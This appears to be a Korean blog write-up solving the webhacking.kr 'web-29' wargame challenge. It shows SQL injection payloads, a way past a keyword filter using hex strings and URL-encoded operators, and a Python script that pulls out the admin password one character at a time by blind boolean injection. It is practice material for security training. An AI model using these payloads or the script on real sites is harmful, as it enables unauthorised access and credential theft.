반응형
문제
문제풀이
/?no=1&id=guest&pw=guest
no=1 : success
no=0 : 변화X
그 외 : Failure
no=0||1=1 입력 시 success 화면이 출력되는 것으로 보아 no을 이용해서 관리자 계정을 알아낼 수 있을 것 같다.
no, id, pw 값의 끝에 각각 #을 넣고 확인하면 no 값에 넣었을 때만 success가 뜨며, 쿼리문의 순서 마지막이 no인 것으로 유추할 수 있다. &&는 &로 인식하기 때문에 %26로 우회해야 한다.
여러가지를 입력해봤을 때, 공백, and, or, char 등 access denied 되는 것을 확인할 수 있고, admin 문자 대신 0x61646D696E 사용할 수 있다.
no=0||id=0x61646D696E 입력 시, 아래 화면을 확인할 수 있고, 여기에 비밀번호를 입력하면 해결되는 것 같다.
비밀번호를 알아내기 위해 아래와 같이 코드를 작성했다.
import requests
import string
cookie={"cookie":"'PHPSESSID'='쿠키값'"}
url="https://webhacking.kr/challenge/web-29/?"
# pw length
pw_len=0
for i in range(0,50):
query="no=0||id=0x61646D696E%26%26length(pw)={}&id=guest&pw=guest".format(i)
res=requests.get(url+query,cookies=cookie)
if (res.text.find("admin")!=-1):
pw_len=i
break
print("길이:{}".format(pw_len))
# pw
pw=""
for i in range(1,pw_len+1):
for j in string.printable:
query="no=0||id=0x61646D696E%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(i,hex(ord(j)))
res=requests.get(url+query, cookies=cookie)
if (res.text.find("admin")!=-1):
pw+=j
print(pw)
break
print("pw:{}".format(pw))
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-42 (1) | 2023.01.02 |
---|---|
[Webhacking.kr] old-41 (1) | 2023.01.02 |
[Webhacking.kr] old-01 (1) | 2022.12.31 |
[Webhacking.kr] old-39 (0) | 2022.12.31 |
[Webhacking.kr] old-38 (0) | 2022.12.31 |